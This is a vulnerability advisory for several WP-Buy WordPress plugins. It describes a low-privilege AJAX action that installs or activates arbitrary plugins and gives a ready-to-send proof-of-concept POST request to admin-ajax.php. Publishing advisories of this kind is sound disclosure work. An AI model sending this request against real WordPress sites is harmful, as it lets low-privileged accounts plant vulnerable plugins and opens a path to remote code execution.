WordPress Plugin Vulnerabilities

Multiple WP-Buy Plugins - Arbitrary Plugin Installation/Activation via Low Privilege User

Description

Low privileged users could use the AJAX action "cp_plugins_do_button_job_later_callback" from multiple plugins of the WP-Buy vendor, to install any plugin (including a specific version) from the WordPress repository, which helps attackers install vulnerable plugins and could lead to more critical vulnerabilities like RCE.

Note (WPScanTeam): The same AJAX action could also be used to activate installed plugins on the blog.

Proof of Concept

Vulnerable code : 
 cp_plugins_do_button_job_later_callback() method in settings-start-index.php file

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: [Low Privilege User cookie]
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

action=do_button_job_later&slug=plugin_slug.version


To activate installed plugins, use the same request, but with the plugin_file instead of slug parameter